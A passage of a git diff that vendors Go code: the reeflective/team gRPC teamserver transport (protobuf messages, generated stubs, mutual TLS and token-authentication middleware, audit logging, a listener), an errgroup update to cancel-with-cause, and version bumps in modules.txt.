file_client_proto_rawDescOnce.Do(func() { + file_client_proto_rawDescData = protoimpl.X.CompressGZIP(file_client_proto_rawDescData) + }) + return file_client_proto_rawDescData +} + +var file_client_proto_msgTypes = make([]protoimpl.MessageInfo, 5) +var file_client_proto_goTypes = []interface{}{ + (*Client)(nil), // 0: client.Client + (*Users)(nil), // 1: client.Users + (*User)(nil), // 2: client.User + (*Version)(nil), // 3: client.Version + (*Empty)(nil), // 4: client.Empty +} +var file_client_proto_depIdxs = []int32{ + 2, // 0: client.Client.User:type_name -> client.User + 2, // 1: client.Users.Users:type_name -> client.User + 2, // [2:2] is the sub-list for method output_type + 2, // [2:2] is the sub-list for method input_type + 2, // [2:2] is the sub-list for extension type_name + 2, // [2:2] is the sub-list for extension extendee + 0, // [0:2] is the sub-list for field type_name +} + +func init() { file_client_proto_init() } +func file_client_proto_init() { + if File_client_proto != nil { + return + } + if !protoimpl.UnsafeEnabled { + file_client_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*Client); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_client_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*Users); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_client_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*User); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_client_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*Version); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_client_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*Empty); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + } + type x struct{} + out := protoimpl.TypeBuilder{ + File: protoimpl.DescBuilder{ + GoPackagePath: reflect.TypeOf(x{}).PkgPath(), + RawDescriptor: file_client_proto_rawDesc, + NumEnums: 0, + NumMessages: 5, + NumExtensions: 0, + NumServices: 0, + }, + GoTypes: file_client_proto_goTypes, + DependencyIndexes: file_client_proto_depIdxs, + MessageInfos: file_client_proto_msgTypes, + }.Build() + File_client_proto = out.File + file_client_proto_rawDesc = nil + file_client_proto_goTypes = nil + file_client_proto_depIdxs = nil +} diff --git a/vendor/github.com/reeflective/team/transports/grpc/proto/client.proto b/vendor/github.com/reeflective/team/transports/grpc/proto/client.proto new file mode 100644 index 0000000000..21a855b2f3 --- /dev/null +++ b/vendor/github.com/reeflective/team/transports/grpc/proto/client.proto @@ -0,0 +1,40 @@ +syntax = "proto3"; + +package client; + +// [ Client & User ] +message Client { + uint32 ID = 1; + string Name = 2; + + User User = 3; +} + +message Users { repeated User Users = 1; } + +message User { + string Name = 1; + bool Online = 2; + int64 LastSeen = 3; + int32 Clients = 4; +} + + +// [ Version ] + +message Version { + int32 Major = 1; + int32 Minor = 2; + int32 Patch = 3; + + string Commit = 4; + bool Dirty = 5; + int64 CompiledAt = 6; + + string OS = 7; + string Arch = 8; +} + +// [ Others ] +message Empty {} + diff --git a/vendor/github.com/reeflective/team/transports/grpc/proto/service.pb.go b/vendor/github.com/reeflective/team/transports/grpc/proto/service.pb.go new file mode 100644 index 0000000000..7ba84d01ec --- /dev/null +++ b/vendor/github.com/reeflective/team/transports/grpc/proto/service.pb.go @@ -0,0 +1,85 @@ +// Code generated by protoc-gen-go. DO NOT EDIT. +// versions: +// protoc-gen-go v1.31.0 +// protoc v3.18.1 +// source: service.proto + +package proto + +import ( + protoreflect "google.golang.org/protobuf/reflect/protoreflect" + protoimpl "google.golang.org/protobuf/runtime/protoimpl" + reflect "reflect" +) + +const ( + // Verify that this generated code is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) + // Verify that runtime/protoimpl is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) +) + +var File_service_proto protoreflect.FileDescriptor + +var file_service_proto_rawDesc = []byte{ + 0x0a, 0x0d, 0x73, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, + 0x06, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x1a, 0x0c, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x32, 0x5e, 0x0a, 0x04, 0x54, 0x65, 0x61, 0x6d, 0x12, 0x2c, 0x0a, + 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0d, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x28, 0x0a, 0x08, 0x47, + 0x65, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, + 0x55, 0x73, 0x65, 0x72, 0x73, 0x42, 0x85, 0x01, 0x0a, 0x0a, 0x63, 0x6f, 0x6d, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x42, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x50, 0x72, 0x6f, + 0x74, 0x6f, 0x50, 0x01, 0x5a, 0x31, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, + 0x2f, 0x72, 0x65, 0x65, 0x66, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x76, 0x65, 0x2f, 0x74, 0x65, 0x61, + 0x6d, 0x2f, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x2f, 0x67, 0x72, 0x70, + 0x63, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0xa2, 0x02, 0x03, 0x43, 0x58, 0x58, 0xaa, 0x02, 0x06, + 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0xca, 0x02, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0xe2, + 0x02, 0x12, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x5c, 0x47, 0x50, 0x42, 0x4d, 0x65, 0x74, 0x61, + 0x64, 0x61, 0x74, 0x61, 0xea, 0x02, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x62, 0x06, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x33, +} + +var file_service_proto_goTypes = []interface{}{ + (*Empty)(nil), // 0: client.Empty + (*Version)(nil), // 1: client.Version + (*Users)(nil), // 2: client.Users +} +var file_service_proto_depIdxs = []int32{ + 0, // 0: client.Team.GetVersion:input_type -> client.Empty + 0, // 1: client.Team.GetUsers:input_type -> client.Empty + 1, // 2: client.Team.GetVersion:output_type -> client.Version + 2, // 3: client.Team.GetUsers:output_type -> client.Users + 2, // [2:4] is the sub-list for method output_type + 0, // [0:2] is the sub-list for method input_type + 0, // [0:0] is the sub-list for extension type_name + 0, // [0:0] is the sub-list for extension extendee + 0, // [0:0] is the sub-list for field type_name +} + +func init() { file_service_proto_init() } +func file_service_proto_init() { + if File_service_proto != nil { + return + } + file_client_proto_init() + type x struct{} + out := protoimpl.TypeBuilder{ + File: protoimpl.DescBuilder{ + GoPackagePath: reflect.TypeOf(x{}).PkgPath(), + RawDescriptor: file_service_proto_rawDesc, + NumEnums: 0, + NumMessages: 0, + NumExtensions: 0, + NumServices: 1, + }, + GoTypes: file_service_proto_goTypes, + DependencyIndexes: file_service_proto_depIdxs, + }.Build() + File_service_proto = out.File + file_service_proto_rawDesc = nil + file_service_proto_goTypes = nil + file_service_proto_depIdxs = nil +} diff --git a/vendor/github.com/reeflective/team/transports/grpc/proto/service.proto b/vendor/github.com/reeflective/team/transports/grpc/proto/service.proto new file mode 100644 index 0000000000..13223cd11e --- /dev/null +++ b/vendor/github.com/reeflective/team/transports/grpc/proto/service.proto @@ -0,0 +1,13 @@ +syntax = "proto3"; + +package client; + +import "client.proto"; + +// Team offers basic methods used by team client/servers to communicate +// their related informations, such as connected users, compilation info, +// and streaming their output/console logs. +service Team { + rpc GetVersion(Empty) returns (Version); + rpc GetUsers(Empty) returns (Users); +} diff --git a/vendor/github.com/reeflective/team/transports/grpc/proto/service_grpc.pb.go b/vendor/github.com/reeflective/team/transports/grpc/proto/service_grpc.pb.go new file mode 100644 index 0000000000..e7dde5e622 --- /dev/null +++ b/vendor/github.com/reeflective/team/transports/grpc/proto/service_grpc.pb.go @@ -0,0 +1,146 @@ +// Code generated by protoc-gen-go-grpc. DO NOT EDIT. +// versions: +// - protoc-gen-go-grpc v1.3.0 +// - protoc v3.18.1 +// source: service.proto + +package proto + +import ( + context "context" + grpc "google.golang.org/grpc" + codes "google.golang.org/grpc/codes" + status "google.golang.org/grpc/status" +) + +// This is a compile-time assertion to ensure that this generated file +// is compatible with the grpc package it is being compiled against. +// Requires gRPC-Go v1.32.0 or later. +const _ = grpc.SupportPackageIsVersion7 + +const ( + Team_GetVersion_FullMethodName = "/client.Team/GetVersion" + Team_GetUsers_FullMethodName = "/client.Team/GetUsers" +) + +// TeamClient is the client API for Team service. +// +// For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. +type TeamClient interface { + GetVersion(ctx context.Context, in *Empty, opts ...grpc.CallOption) (*Version, error) + GetUsers(ctx context.Context, in *Empty, opts ...grpc.CallOption) (*Users, error) +} + +type teamClient struct { + cc grpc.ClientConnInterface +} + +func NewTeamClient(cc grpc.ClientConnInterface) TeamClient { + return &teamClient{cc} +} + +func (c *teamClient) GetVersion(ctx context.Context, in *Empty, opts ...grpc.CallOption) (*Version, error) { + out := new(Version) + err := c.cc.Invoke(ctx, Team_GetVersion_FullMethodName, in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *teamClient) GetUsers(ctx context.Context, in *Empty, opts ...grpc.CallOption) (*Users, error) { + out := new(Users) + err := c.cc.Invoke(ctx, Team_GetUsers_FullMethodName, in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +// TeamServer is the server API for Team service. +// All implementations must embed UnimplementedTeamServer +// for forward compatibility +type TeamServer interface { + GetVersion(context.Context, *Empty) (*Version, error) + GetUsers(context.Context, *Empty) (*Users, error) + mustEmbedUnimplementedTeamServer() +} + +// UnimplementedTeamServer must be embedded to have forward compatible implementations. +type UnimplementedTeamServer struct { +} + +func (UnimplementedTeamServer) GetVersion(context.Context, *Empty) (*Version, error) { + return nil, status.Errorf(codes.Unimplemented, "method GetVersion not implemented") +} +func (UnimplementedTeamServer) GetUsers(context.Context, *Empty) (*Users, error) { + return nil, status.Errorf(codes.Unimplemented, "method GetUsers not implemented") +} +func (UnimplementedTeamServer) mustEmbedUnimplementedTeamServer() {} + +// UnsafeTeamServer may be embedded to opt out of forward compatibility for this service. +// Use of this interface is not recommended, as added methods to TeamServer will +// result in compilation errors. +type UnsafeTeamServer interface { + mustEmbedUnimplementedTeamServer() +} + +func RegisterTeamServer(s grpc.ServiceRegistrar, srv TeamServer) { + s.RegisterService(&Team_ServiceDesc, srv) +} + +func _Team_GetVersion_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(Empty) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(TeamServer).GetVersion(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: Team_GetVersion_FullMethodName, + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(TeamServer).GetVersion(ctx, req.(*Empty)) + } + return interceptor(ctx, in, info, handler) +} + +func _Team_GetUsers_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(Empty) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(TeamServer).GetUsers(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: Team_GetUsers_FullMethodName, + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(TeamServer).GetUsers(ctx, req.(*Empty)) + } + return interceptor(ctx, in, info, handler) +} + +// Team_ServiceDesc is the grpc.ServiceDesc for Team service. +// It's only intended for direct use with grpc.RegisterService, +// and not to be introspected or modified (even as a copy) +var Team_ServiceDesc = grpc.ServiceDesc{ + ServiceName: "client.Team", + HandlerType: (*TeamServer)(nil), + Methods: []grpc.MethodDesc{ + { + MethodName: "GetVersion", + Handler: _Team_GetVersion_Handler, + }, + { + MethodName: "GetUsers", + Handler: _Team_GetUsers_Handler, + }, + }, + Streams: []grpc.StreamDesc{}, + Metadata: "service.proto", +} diff --git a/vendor/github.com/reeflective/team/transports/grpc/server/middleware.go b/vendor/github.com/reeflective/team/transports/grpc/server/middleware.go new file mode 100644 index 0000000000..9414ee1aa8 --- /dev/null +++ b/vendor/github.com/reeflective/team/transports/grpc/server/middleware.go @@ -0,0 +1,218 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "encoding/json" + + grpc_middleware "github.com/grpc-ecosystem/go-grpc-middleware" + grpc_auth "github.com/grpc-ecosystem/go-grpc-middleware/auth" + grpc_logrus "github.com/grpc-ecosystem/go-grpc-middleware/logging/logrus" + grpc_tags "github.com/grpc-ecosystem/go-grpc-middleware/tags" + "github.com/reeflective/team/server" + "github.com/reeflective/team/transports/grpc/common" + "github.com/sirupsen/logrus" + "google.golang.org/grpc" + "google.golang.org/grpc/codes" + "google.golang.org/grpc/credentials" + "google.golang.org/grpc/status" +) + +// BufferingOptions returns a list of server options with max send/receive +// message size, which value is that of the ServerMaxMessageSize variable (2GB). +func BufferingOptions() (options []grpc.ServerOption) { + options = append(options, + grpc.MaxRecvMsgSize(ServerMaxMessageSize), + grpc.MaxSendMsgSize(ServerMaxMessageSize), + ) + + return +} + +// LogMiddlewareOptions is a set of logging middleware options +// preconfigured to perform the following tasks: +// - Log all connections/disconnections to/from the teamserver listener. +// - Log all raw client requests into a teamserver audit file (see server.AuditLog()). +func LogMiddlewareOptions(s *server.Server) ([]grpc.ServerOption, error) { + var requestOpts []grpc.UnaryServerInterceptor + var streamOpts []grpc.StreamServerInterceptor + + cfg := s.GetConfig() + + // Audit-log all requests. Any failure to audit-log the requests + // of this server will themselves be logged to the root teamserver log. + auditLog, err := s.AuditLogger() + if err != nil { + return nil, err + } + + requestOpts = append(requestOpts, auditLogUnaryServerInterceptor(s, auditLog)) + + requestOpts = append(requestOpts, + grpc_tags.UnaryServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), + ) + + streamOpts = append(streamOpts, + grpc_tags.StreamServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), + ) + + // Logging interceptors + logrusEntry := s.NamedLogger("transport", "grpc") + logrusOpts := []grpc_logrus.Option{ + grpc_logrus.WithLevels(common.CodeToLevel), + } + + grpc_logrus.ReplaceGrpcLogger(logrusEntry) + + requestOpts = append(requestOpts, + grpc_logrus.UnaryServerInterceptor(logrusEntry, logrusOpts...), + grpc_logrus.PayloadUnaryServerInterceptor(logrusEntry, func(ctx context.Context, fullMethodName string, servingObject interface{}) bool { + return cfg.Log.GRPCUnaryPayloads + }), + ) + + streamOpts = append(streamOpts, + grpc_logrus.StreamServerInterceptor(logrusEntry, logrusOpts...), + grpc_logrus.PayloadStreamServerInterceptor(logrusEntry, func(ctx context.Context, fullMethodName string, servingObject interface{}) bool { + return cfg.Log.GRPCStreamPayloads + }), + ) + + return []grpc.ServerOption{ + grpc_middleware.WithUnaryServerChain(requestOpts...), + grpc_middleware.WithStreamServerChain(streamOpts...), + }, nil +} + +// TLSAuthMiddlewareOptions is a set of transport security options which will use +// the preconfigured teamserver TLS (credentials) configuration to authenticate +// incoming client connections. The authentication is Mutual TLS, used because +// all teamclients will connect with a known TLS credentials set. +func TLSAuthMiddlewareOptions(s *server.Server) ([]grpc.ServerOption, error) { + var options []grpc.ServerOption + + tlsConfig, err := s.UsersTLSConfig() + if err != nil { + return nil, err + } + + creds := credentials.NewTLS(tlsConfig) + options = append(options, grpc.Creds(creds)) + + return options, nil +} + +// initAuthMiddleware - Initialize middleware logger. +func (ts *Teamserver) initAuthMiddleware() ([]grpc.ServerOption, error) { + var requestOpts []grpc.UnaryServerInterceptor + var streamOpts []grpc.StreamServerInterceptor + + // Authentication interceptors. + if ts.conn == nil { + // All remote connections are users who need authentication. + requestOpts = append(requestOpts, + grpc_auth.UnaryServerInterceptor(ts.tokenAuthFunc), + ) + + streamOpts = append(streamOpts, + grpc_auth.StreamServerInterceptor(ts.tokenAuthFunc), + ) + } else { + // Local in-memory connections have no auth. + requestOpts = append(requestOpts, + grpc_auth.UnaryServerInterceptor(serverAuthFunc), + ) + streamOpts = append(streamOpts, + grpc_auth.StreamServerInterceptor(serverAuthFunc), + ) + } + + // Return middleware for all requests and stream interactions in gRPC. + return []grpc.ServerOption{ + grpc_middleware.WithUnaryServerChain(requestOpts...), + grpc_middleware.WithStreamServerChain(streamOpts...), + }, nil +} + +// TODO: Should we change the default in-memory server name ? +func serverAuthFunc(ctx context.Context) (context.Context, error) { + newCtx := context.WithValue(ctx, "transport", "local") + newCtx = context.WithValue(newCtx, "user", "server") + + return newCtx, nil +} + +func (ts *Teamserver) tokenAuthFunc(ctx context.Context) (context.Context, error) { + log := ts.NamedLogger("transport", "grpc") + log.Debugf("Auth interceptor checking user token ...") + + rawToken, err := grpc_auth.AuthFromMD(ctx, "Bearer") + if err != nil { + log.Errorf("Authentication failure: %s", err) + return nil, status.Error(codes.Unauthenticated, "Authentication failure") + } + + user, authorized, err := ts.UserAuthenticate(rawToken) + if err != nil || !authorized || user == "" { + log.Errorf("Authentication failure: %s", err) + return nil, status.Error(codes.Unauthenticated, "Authentication failure") + } + + newCtx := context.WithValue(ctx, "transport", "mtls") + newCtx = context.WithValue(newCtx, "user", user) + + return newCtx, nil +} + +type auditUnaryLogMsg struct { + Request string `json:"request"` + Method string `json:"method"` +} + +func auditLogUnaryServerInterceptor(ts *server.Server, auditLog *logrus.Logger) grpc.UnaryServerInterceptor { + log := ts.NamedLogger("grpc", "audit") + + return func(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (_ interface{}, err error) { + rawRequest, err := json.Marshal(req) + if err != nil { + log.Errorf("Failed to serialize %s", err) + return + } + + log.Debugf("Raw request: %s", string(rawRequest)) + + if err != nil { + log.Errorf("Middleware failed to insert details: %s", err) + } + + // Construct Log Message + msg := &auditUnaryLogMsg{ + Request: string(rawRequest), + Method: info.FullMethod, + } + + msgData, _ := json.Marshal(msg) + auditLog.Info(string(msgData)) + + resp, err := handler(ctx, req) + + return resp, err + } +} diff --git a/vendor/github.com/reeflective/team/transports/grpc/server/rpc.go b/vendor/github.com/reeflective/team/transports/grpc/server/rpc.go new file mode 100644 index 0000000000..2f206cde8f --- /dev/null +++ b/vendor/github.com/reeflective/team/transports/grpc/server/rpc.go @@ -0,0 +1,73 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + + "github.com/reeflective/team/server" + "github.com/reeflective/team/transports/grpc/proto" +) + +// rpcServer is the gRPC server implementation. +// It makes uses of the teamserver core to query users and version information. +type rpcServer struct { + server *server.Server + *proto.UnimplementedTeamServer +} + +func newServer(server *server.Server) *rpcServer { + return &rpcServer{ + server: server, + UnimplementedTeamServer: &proto.UnimplementedTeamServer{}, + } +} + +// GetVersion returns the teamserver version. +func (ts *rpcServer) GetVersion(context.Context, *proto.Empty) (*proto.Version, error) { + ver, err := ts.server.Version() + + return &proto.Version{ + Major: ver.Major, + Minor: ver.Minor, + Patch: ver.Patch, + Commit: ver.Commit, + Dirty: ver.Dirty, + CompiledAt: ver.CompiledAt, + OS: ver.OS, + Arch: ver.Arch, + }, err +} + +// GetUsers returns the list of teamserver users and their status. +func (ts *rpcServer) GetUsers(context.Context, *proto.Empty) (*proto.Users, error) { + users, err := ts.server.Users() + + userspb := make([]*proto.User, len(users)) + for i, user := range users { + userspb[i] = &proto.User{ + Name: user.Name, + Online: user.Online, + LastSeen: user.LastSeen.Unix(), + Clients: int32(user.Clients), + } + } + + return &proto.Users{Users: userspb}, err +} diff --git a/vendor/github.com/reeflective/team/transports/grpc/server/server.go b/vendor/github.com/reeflective/team/transports/grpc/server/server.go new file mode 100644 index 0000000000..e86a01baa5 --- /dev/null +++ b/vendor/github.com/reeflective/team/transports/grpc/server/server.go @@ -0,0 +1,204 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "net" + "runtime/debug" + "sync" + + teamserver "github.com/reeflective/team/server" + clientConn "github.com/reeflective/team/transports/grpc/client" + "github.com/reeflective/team/transports/grpc/proto" + "google.golang.org/grpc" + "google.golang.org/grpc/test/bufconn" +) + +const ( + kb = 1024 + mb = kb * 1024 + gb = mb * 1024 + + bufSize = 2 * mb + + // ServerMaxMessageSize - Server-side max GRPC message size. + ServerMaxMessageSize = 2*gb - 1 +) + +// Teamserver is a simple example gRPC teamserver listener and server backend. +// This server can handle both remote and local (in-memory) connections, provided +// that it is being created with the correct grpc.Server options. +// +// This teamserver embeds a team/server.Server core driver and uses it for fetching +// server-side TLS configurations, use its loggers and access its database/users/list. +// +// By default, the server has no grpc.Server options attached. +// Please see the other functions of this package for pre-configured option sets. +type Teamserver struct { + *teamserver.Server + + options []grpc.ServerOption + conn *bufconn.Listener + mutex *sync.RWMutex + + hooks []func(server *grpc.Server) error +} + +// NewListener is a simple constructor returning a teamserver loaded with the +// provided list of server options. By default the server does not come with any. +func NewListener(opts ...grpc.ServerOption) *Teamserver { + listener := &Teamserver{ + mutex: &sync.RWMutex{}, + } + + listener.options = append(listener.options, opts...) + + return listener +} + +// NewClientFrom requires an existing grpc Teamserver to create an in-memory +// connection bound to both the teamserver and the teamclient backends. +// It returns a teamclient meant to be ran in memory, with TLS credentials disabled. +func NewClientFrom(server *Teamserver, opts ...grpc.DialOption) *clientConn.Teamclient { + conn := bufconn.Listen(bufSize) + + ctxDialer := grpc.WithContextDialer(func(context.Context, string) (net.Conn, error) { + return conn.Dial() + }) + + opts = append(opts, []grpc.DialOption{ + ctxDialer, + grpc.WithInsecure(), + }...) + + // The server will use this conn as a listener. + // The reference is dropped after server start. + server.conn = conn + + return clientConn.NewTeamClient(opts...) +} + +// Name immplements team/server.Handler.Name(). +// It indicates the transport/rpc stack, in this case "gRPC". +func (h *Teamserver) Name() string { + return "gRPC" +} + +// PostServe registers one or more hook functions to be ran on the server +// before it is served to the listener. These hooks should naturally be +// used to register additional services to it. +func (h *Teamserver) PostServe(hooks ...func(server *grpc.Server) error) { + h.hooks = append(h.hooks, hooks...) +} + +// Init implements team/server.Handler.Init(). +// It is used to initialize the listener with the correct TLS credentials +// middleware (or absence of if about to serve an in-memory connection). +func (h *Teamserver) Init(serv *teamserver.Server) (err error) { + h.Server = serv + + h.options, err = LogMiddlewareOptions(h.Server) + if err != nil { + return err + } + + // Logging/authentication/audit + serverOptions, err := h.initAuthMiddleware() + if err != nil { + return err + } + + h.options = append(h.options, serverOptions...) + + return nil +} + +// Listen implements team/server.Handler.Listen(). +// It starts listening on a network address for incoming gRPC clients. +// If the teamserver has previously been given an in-memory connection, +// it returns it as the listener without errors. +func (h *Teamserver) Listen(addr string) (ln net.Listener, err error) { + rpcLog := h.NamedLogger("transport", "mTLS") + + // Only wrap the connection in TLS when remote. + // In-memory connection are not authenticated. + if h.conn == nil { + ln, err = net.Listen("tcp", addr) + if err != nil { + return nil, err + } + + // Encryption. + tlsOptions, err := TLSAuthMiddlewareOptions(h.Server) + if err != nil { + return nil, err + } + + h.options = append(h.options, tlsOptions...) + } else { + h.mutex.Lock() + ln = h.conn + h.conn = nil + h.mutex.Unlock() + } + + grpcServer := grpc.NewServer(h.options...) + + // Register the core teamserver service + proto.RegisterTeamServer(grpcServer, newServer(h.Server)) + + for _, hook := range h.hooks { + if err := hook(grpcServer); err != nil { + rpcLog.Errorf("service bind error: %s", err) + return nil, err + } + } + + rpcLog.Infof("Serving gRPC teamserver on %s", ln.Addr()) + + // Start serving the listener + go func() { + panicked := true + defer func() { + if panicked { + rpcLog.Errorf("stacktrace from panic: %s", string(debug.Stack())) + } + }() + + if err := grpcServer.Serve(ln); err != nil { + rpcLog.Errorf("gRPC server exited with error: %v", err) + } else { + panicked = false + } + }() + + return ln, nil +} + +// Close implements team/server.Handler.Close(). +// In this implementation, the function does nothing. Thus the underlying +// *grpc.Server.Shutdown() method is not called, and only the listener +// will be closed by the server automatically when using CloseListener(). +// +// This is probably not optimal from a resource usage standpoint, but currently it +// fits most use cases. Feel free to reimplement or propose changes to this lib. +func (h *Teamserver) Close() error { + return nil +} diff --git a/vendor/golang.org/x/sync/errgroup/errgroup.go b/vendor/golang.org/x/sync/errgroup/errgroup.go index cbee7a4e23..b18efb743f 100644 --- a/vendor/golang.org/x/sync/errgroup/errgroup.go +++ b/vendor/golang.org/x/sync/errgroup/errgroup.go @@ -20,7 +20,7 @@ type token struct{} // A zero Group is valid, has no limit on the number of active goroutines, // and does not cancel on error. type Group struct { - cancel func() + cancel func(error) wg sync.WaitGroup @@ -43,7 +43,7 @@ func (g *Group) done() { // returns a non-nil error or the first time Wait returns, whichever occurs // first. func WithContext(ctx context.Context) (*Group, context.Context) { - ctx, cancel := context.WithCancel(ctx) + ctx, cancel := withCancelCause(ctx) return &Group{cancel: cancel}, ctx } @@ -52,7 +52,7 @@ func WithContext(ctx context.Context) (*Group, context.Context) { func (g *Group) Wait() error { g.wg.Wait() if g.cancel != nil { - g.cancel() + g.cancel(g.err) } return g.err } @@ -76,7 +76,7 @@ func (g *Group) Go(f func() error) { g.errOnce.Do(func() { g.err = err if g.cancel != nil { - g.cancel() + g.cancel(g.err) } }) } @@ -105,7 +105,7 @@ func (g *Group) TryGo(f func() error) bool { g.errOnce.Do(func() { g.err = err if g.cancel != nil { - g.cancel() + g.cancel(g.err) } }) } diff --git a/vendor/golang.org/x/sync/errgroup/go120.go b/vendor/golang.org/x/sync/errgroup/go120.go new file mode 100644 index 0000000000..7d419d3760 --- /dev/null +++ b/vendor/golang.org/x/sync/errgroup/go120.go @@ -0,0 +1,14 @@ +// Copyright 2023 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +//go:build go1.20 +// +build go1.20 + +package errgroup + +import "context" + +func withCancelCause(parent context.Context) (context.Context, func(error)) { + return context.WithCancelCause(parent) +} diff --git a/vendor/golang.org/x/sync/errgroup/pre_go120.go b/vendor/golang.org/x/sync/errgroup/pre_go120.go new file mode 100644 index 0000000000..1795c18ace --- /dev/null +++ b/vendor/golang.org/x/sync/errgroup/pre_go120.go @@ -0,0 +1,15 @@ +// Copyright 2023 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +//go:build !go1.20 +// +build !go1.20 + +package errgroup + +import "context" + +func withCancelCause(parent context.Context) (context.Context, func(error)) { + ctx, cancel := context.WithCancel(parent) + return ctx, func(error) { cancel() } +} diff --git a/vendor/modules.txt b/vendor/modules.txt index bc1429f636..d52796d00c 100644 --- a/vendor/modules.txt +++ b/vendor/modules.txt @@ -489,7 +489,7 @@ github.com/moloch--/asciicast # github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 ## explicit; go 1.17 github.com/moloch--/memmod -# github.com/ncruces/go-sqlite3 v0.7.2 +# github.com/ncruces/go-sqlite3 v0.8.1 ## explicit; go 1.19 github.com/ncruces/go-sqlite3 github.com/ncruces/go-sqlite3/driver @@ -512,6 